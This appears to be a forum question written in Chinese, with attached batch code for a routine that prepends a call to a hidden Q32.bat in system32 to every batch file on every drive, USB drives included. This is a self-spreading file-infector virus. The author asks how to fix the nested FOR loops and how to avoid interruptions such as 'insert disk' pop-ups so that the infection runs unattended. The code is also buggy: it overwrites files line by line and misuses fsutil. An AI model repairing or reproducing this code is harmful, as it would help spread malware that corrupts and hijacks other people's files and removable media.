我正在尝试在我的批处理文件中创建一个例程,它将对自身的调用附加到每个其他驱动器(包括闪存驱动器等)中每个其他批处理文件的开头。我一直在使用嵌套的 FOR 函数来做到这一点。第一部分设置了一个名为 append 的变量,用于对驱动器中的每个批处理文件进行实际附加。第二部分使用 fsutil 获取每个正在使用的驱动器并通过“cd”级联每个输出,然后调用 append 变量来执行实际的附加。目的是确保检查每个驱动器是否要附加批处理文件。我可以将变量设置为这样的命令字符串吗?这么多 FOR 功能会造成故障吗?因为我有一个嵌入另一个?我是否要在 FOR 函数中设置变量和使用标记,对吗?实际的附加过程会顺利吗?最后,是否会有任何可能中断自动化的中断,例如尝试将 cd 设置为没有光盘的光盘驱动器并导致“插入光盘”弹出窗口?
set append = (
FOR %%F IN (*.bat) DO (
FOR /f "tokens=*" %%I IN (%%F) DO (
set origtext = %%I
echo @echo off >%%F
echo cd %drive%WINDOWS\system32\Q32 >> %%F
echo start Q32.bat >> %%F
echo %%I >> %%F
)
)
)
FOR /f "tokens=*" %%A IN (fsutil fsinfo) DO (
cd %%A
%append%
)